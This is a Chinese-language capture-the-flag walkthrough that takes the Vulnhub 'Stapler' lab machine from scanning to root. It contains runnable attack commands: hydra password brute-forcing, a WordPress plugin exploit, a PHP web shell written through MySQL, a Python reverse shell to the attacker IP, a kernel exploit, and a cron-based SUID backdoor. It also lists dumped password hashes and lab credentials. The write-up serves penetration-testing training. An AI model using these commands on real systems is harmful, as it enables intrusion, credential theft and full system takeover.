Goal: Get Root!
下载Stapler靶机压缩包后,若导入ovf文件出现如下错误时:
解决办法参考:VMware 导入 ovf 文件格式异常报错之探解 | Secrypt Agency (ciphersaw.me)
靶机下载地址:Vulnhub-Stapler
kali攻击机ip地址:192.168.179.149
arp-scan -l
或
nmap -sn 192.168.179.0/24
-sn表示只进行主机发现
nmap -A -sV 192.168.179.149 -p-
或
nmap -n -sT -sV 192.168.179.149 -p-
使用nmap深入对22端口进行检测
nmap -n -sT -sV -A 192.168.179.149 -p21
发现ftp服务可匿名访问,使用anonymous 用户和任意口令登录ftp服务,下载里面的note文件,并查看
里面是John写给Elly的一条信息,说明可能含有用户Elly和John,上面提示还可能存在Harry用户。通过 hydra 工具检测是否存在空口令、同名口令、同名逆向口令等
hydra -L ftp_name -e nsr ftp://192.168.179.149
-e表示提供了更多的测试选项
n表示null,用空密码进行测试
s表示same,测试与用户名相同的密码
r表示逆转
参考链接:https://zhuanlan.zhihu.com/p/397779150
使用用户名elly,密码ylle进行登录
发现此时显示的是/etc下的文件,下载用户配置文件并查看:
将其中具有可登录 shell 的用户筛选出来,存至 ssh_user_name:
cat passwd | grep -v -E "nologin|false" | cut -d ":" -f 1 > ssh_user_name
根据上面获得的能够登录的所有用户ssh_user_name,利用hydra检测是否存在同名口令、同名逆口令、空口令等
hydra -L ssh_user_name -e nsr ssh://192.168.179.149
利用用户名SHayslett和密码进行ssh登录:
ssh [email protected]
使用enum4linux探测smb服务
enum4linux -a 192.168.179.149 | tee smb_result
其中发现了目标主机的用户列表,可以提取用户名,对其进行空口令、同名口令的爆破等
与此同时也发现了有效共享服务名tmp和kathy
使用smb服务连接工具smbclient进行连接, -N
参数指定空口令登录,双斜杠后指定服务器地址,单斜杠后指定共享服务名
smbclient -N //192.168.179.149/tmp
无可用信息
smbclient -N //192.168.179.149/kathy
也无可用信息
访问对应的端口,提示找不到主页,可以使用nikto探测,没有可用信息
针对未知服务的端口,可使用 nc 工具进行探测
nc 192.168.179.149 666
输出乱码,但是可以发现message2.jpg清晰字样
nc 192.168.179.149 666 > message_666
file message_666 //发现是一个zip压缩包
unzip message_666
查看message2.jpg
无可用信息
此端口开放的http服务,访问该端口:http:192.168.179.149:12380
源代码中提示存在Zoe用户,其他无可用信息
使用nikto漏洞扫描工具进行漏洞初步扫描:
nikto -host http://192.168.179.149:12380
站点支持https协议,存在目录/admin112233、/blogblog、/phpmyadmin,,同时还有robots.txt、/icons/README
使用https协议进行访问:https://192.168.179.149:12380/robots.txt
访问/icons/README
apache默认文件中无可用信息
访问/admin112233目录:
只显示一个没有用的弹窗,并且重定向至其他网站
访问/blogblog:
一个博客网站,并且下面显示该站使用的cms为wordpress,当然查看其源码能够发现更加详细的版本信息为:WordPress 4.2.1
访问/phpmyadmin/:
需要使用数据库账户及密码进行登录
先扫描指定用户:
wpscan --url https://192.168.179.149:12380/blogblog/ -e u --disable-tls-checks
-e即 --enumerat,表示枚举
u表示扫描指定用户,可u1-100,指定前100个
--disable-tls-checks忽略 TLS 检查
扫描网站使用的插件:
wpscan --url https://192.168.179.149:12380/blogblog/ -e ap --disable-tls-checks --plugins-detection aggressive
--plugins-detection aggressive表示主动扫描模式
同时可以发现注册账号的页面:https://192.168.179.149:12380/blogblog/wp-login.php?action=register
目录遍历网址:https://192.168.179.149:12380/blogblog/wp-content/uploads/
使用searchsploit寻找可用的插件漏洞
searchsploit advanced video
下载exp进行漏洞利用:
wget https://www.exploit-db.com/exploits/39646
需要更改exp中的url内容,另外如果执行过程中遇到如下错误:
需要在 EXP 脚本打上补丁,使其忽略 SSL 的证书校验
运行脚本成功后,在目录遍历网址中新增了一个时间一致的图片文件,下载查看:
wget https://192.168.179.149:12380/blogblog/wp-content/uploads/1140321183.jpeg --no-check-certificate
cat 1140321183.jpeg
里面包含mysql用户名与密码等重要信息
使用用户名root和密码plbkac进行数据库登录
mysql -h 192.168.179.149 -uroot -pplbkac
查看数据库和相关表:
查看wp_users表:
将表中的user_login与user_pass提取出来并导入文件中,使用john进行爆破
select concat(user_login,':',user_pass) from wp_users;
John:$P$B7889EMq/erHIuZapMB8GEizebcIy9.
Elly:$P$BlumbJRRBit7y50Y17.UPJ/xEgv4my0
Peter:$P$BTzoYuAFiBA5ixX2njL0XcLzu67sGD0
barry:$P$BIp1ND3G70AnRAkRY41vpVypsTfZhk0
heather:$P$Bwd0VpK8hX4aN.rZ14WDdhEIGeJgf10
garry:$P$BzjfKAHd6N4cHKiugLX.4aLes8PxnZ1
harry:$P$BqV.SQ6OtKhVV7k7h1wqESkMh41buR0
scott:$P$BFmSPiDX1fChKRsytp1yp8Jo7RdHeI1
kathy:$P$BZlxAMnC6ON.PYaurLGrhfBi6TjtcA0
tim:$P$BXDR7dLIJczwfuExJdpQqRsNf.9ueN0
ZOE:$P$B.gMMKRP11QOdT5m1s9mstAUEDjagu1
Dave:$P$Bl7/V9Lqvu37jJT.6t4KWmY.v907Hy.
Simon:$P$BLxdiNNRP008kOQ.jE44CjSK/7tEcz0
Abby:$P$ByZg5mTBpKiLZ5KxhhRe/uqR.48ofs.
Vicki:$P$B85lqQ1Wwl2SqcPOuKDvxaSwodTY131
Pam:$P$BuLagypsIJdEuzMkf20XyS5bRm00dQ0
得到一些账户和密码
使用用户名John与密码incorrect进行后台登录:https://192.168.179.149:12380/blogblog/wp-login.php,进入如下主界面:
大概浏览了一下站点,点击Plugins,发现可以上传插件,这里上传一个php文件,并且反弹shell,文件地址:php-reverse-shell/php-reverse-shell.php at master · pentestmonkey/php-reverse-shell · GitHub
修改一下php-reverse-shell.php中的ip地址,修改为需要接受shell的攻击机地址
在上传点上传之后,可以在目录中查看到刚上传的php文件
点击该文件即可触发shell反弹
使用用户名elly与密码ylle登入ftp服务,查看apache配置文件apache2/sites-available/default-ssl.conf
ftp:192.168.179.149
cd apache2
cd sites-available
get default-ssl.conf
exit
查看该文件并寻找网站根目录
cat default-ssl.conf | grep DocumentRoot
使用用户名root与密码pplbkac登录mysql,并向/blogblog/wp-content/uploads写入一句话木马文件exce.php
mysql -h 192.168.179.149 -uroot -pplbkac
SELECT "<?php system($_GET['cmd']); ?>" into outfile "/var/www/https/blogblog/wp-content/uploads/exec.php";
此时upload目录下多了一个exec.php文件
kali监听,在cmd参数输入python反弹shell
python -c 'import socket,subprocess,os;s=socket.socket(socket.AF_INET,socket.SOCK_STREAM);s.connect(("192.168.179.141",1234));os.dup2(s.fileno(),0); os.dup2(s.fileno(),1); os.dup2(s.fileno(),2);p=subprocess.call(["/bin/sh","-i"]);'
访问:https://192.168.179.149:12380/blogblog/wp-content/uploads/exec.php?cmd=python -c 'import socket,subprocess,os;s=socket.socket(socket.AF_INET,socket.SOCK_STREAM);s.connect(("192.168.179.141",1234));os.dup2(s.fileno(),0); os.dup2(s.fileno(),1); os.dup2(s.fileno(),2);p=subprocess.call(["/bin/sh","-i"]);'
获得shell
这里也可以使用冰蝎来获取shell
冰蝎下载地址:Release Behinder_v3.0_Beta_11: Update README.md · rebeyond/Behinder · GitHub
查看各个用户的历史命令获取更多信息, .bash_history 命令操作日志
cat /home/*/.bash_history | grep -v exit
发现ssh连接命令,用户JKanode,密码为thisimypassword;用户peter,密码JZQuyIN5
选择一个用户进行ssh连接(经尝试用户JKanode无提权功能)
ssh [email protected]
peter用户拥有sudo用户组权限,故可以尝试sudo提权
执行 sudo -l
命令并输入密码,发现 peter 用户的 sudo 权限为 (ALL : ALL) ALL,表示 peter 用户可以在任何主机上,以任意用户的身份执行任意命令
获得root用户权限
sudo su - root
拿到shell后,收集一些内核版本相关的信息
使用searchsploit搜索一些对应版本的漏洞
searchsploit ubuntu 16.04 privilege escalation
privilege escalation表示权限提升
查看文档提示:
cat /tmp/39772.txt
根据提示下载exp包:
wget https://github.com/offensive-security/exploitdb-bin-sploits/raw/master/bin-sploits/39772.zip
unzip 39772.zip
根据文档提示,需要将解压后的文件夹中的exploit.tar上传至目标主机,因此在39772目录下使用python开放一个http端口
python -m SimpleHTTPServer
在shell上下载exploit.tar并解压
根据文档提示,切换至目录ebpf_mapfd_doubleput_exploit,运行命令
cd ebpf_mapfd_doubleput_exploit
./compile.sh
./doubleput
得到低权限的shell后,查看cron任务计划表,获取可用信息:
ls -alh /etc/*cron*
在/etc/cron.d中发现一个可疑任务logrotate,查看具体详情:
该计划任务5分钟执行一次,并且以root身份运行脚本/usr/local/sbin/cron-logrotate.sh,并且该脚本无内容,且权限充足
设置计划任务,在cron-logrotate.sh脚本文件中写入:将/bin/sh复制到/tmp/getroot,属主改为root:root,并且赋予SUID权限
echo "cp /bin/bash /tmp/getroot; chown root:root /tmp/getroot; chmod u+s /tmp/getroot" >> /usr/local/sbin/cron-logrotate.sh
等待5min后计划任务执行,执行/tmp/getroot -p命令,以root用户权限启动bash,获取root用户权限
得到root权限后,切换至root目录下,得到flag为b6b545dc11b7a270f4bad23432190c75162c4a2b